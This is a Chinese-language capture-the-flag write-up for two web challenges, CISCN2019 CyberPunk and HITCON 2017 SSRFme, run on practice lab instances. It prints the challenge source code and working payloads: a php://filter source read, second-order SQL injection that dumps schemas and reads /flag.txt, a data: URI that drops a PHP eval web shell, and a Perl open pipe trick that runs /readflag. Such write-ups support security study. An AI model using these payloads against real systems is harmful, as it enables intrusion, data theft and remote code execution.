[CISCN2019 华北赛区 Day1 Web5]CyberPunk
思路
看源码看到传参file提示
看WP知道原来是要传参伪协议读源码
/index.php?file=php://filter/convert.base64-encode/resource=index.php
index.php
<?php
ini_set('open_basedir', '/var/www/html/');
// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
echo('no way!');
exit;
}
@include($file);
}
?>
search.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
change.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
delete.php
<?php
require_once "config.php";
if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>
config.php
<?php
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
$DATABASE = array(
"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);
$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);
confirm.php
<?php
require_once "config.php";
//var_dump($_POST);
if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}
if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>
仔细分析可以找到注入点:address作为old_address时可以注入sql语句,我们依此更改address

解题
现根据源码构造payload:
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
update `user` set `address`='xxx', `old_address`='xxx', `address`=payload where `user_id`=xxx;
old_address: xxx', `address`=payload
库
xxx', `address`=(select(group_concat(schema_name))from(information_schema.schemata))#
-> information_schema,performance_schema,ctftraining,mysql,test,ctfusers
表
xxx', `address`=(select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctftraining"))#
-> FLAG_TABLE,news,users
字段
xxx', `address`=(select(group_concat(column_name))from(information_schema.columns)where(table_name="FLAG_TABLE"))#
-> FLAG_COLUMN
值
xxx', `address`=(select(group_concat(FLAG_COLUMN))from(ctftraining.FLAG_TABLE))#
-> [报错]null
啊,这?看WP知道有/flag.txt,看来要多试
xxx', `address`=(select(load_file("/flag.txt")))#
-> flag{a75bac0d-8e02-4d38-85c7-21d0613bf559}
注意
二次注入需要仔细分析源码,要加强代码分析能力
[HITCON 2017]SSRFme
思路
源码贴脸
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
解题
尝试根据我对这些函数的理解写个payload
http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/112&url=127.0.0.1
发现能顺我意,那么首先想到通过file协议来读文件
http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111&url=file:///

看样子是通过/readflag来读取/flag了,测试后发现直接读/flag确实为空
做到这里没啥头绪了,看WP练一下解法吧
解法一:data伪协议
http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111.php&url=data:text/plain,'<?php @eval($_POST['lingye'])?>'
为什么要加引号?
— 因为执行命令时会解析<?相关的符号
加了引号后不要紧吗?不会出现带引号一起写入吗?
— 确实会带引号一起写入,但是不要紧,php不会因为前后多余的字符而不解析
接下来就是蚁剑了

flag{640d5865-8826-4f12-b528-ed0915546c36}
解法二:perl底层代码的RCE漏洞
真够深的知识(谁懂啊
GET命令在底层是用perl语言的open函数实现的,这个函数有个bug
open("xx|ls") // 会执行ls
这个函数对于管道符有识别,导致会把管道符后面的字符串当命令
当然,bug的前提是真有名为xx|ls的这样一个文件
我们试试,先创建文件
http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=|/readflag&url=127.0.0.1

那么,执行吧
http://69b08aa9-e06a-492f-9287-db4c0b997f99.node5.buuoj.cn:81/?filename=/111/111/111/111&url=file:|/readflag

注意
- data伪协议
- GET,或者说perl的open的RCE漏洞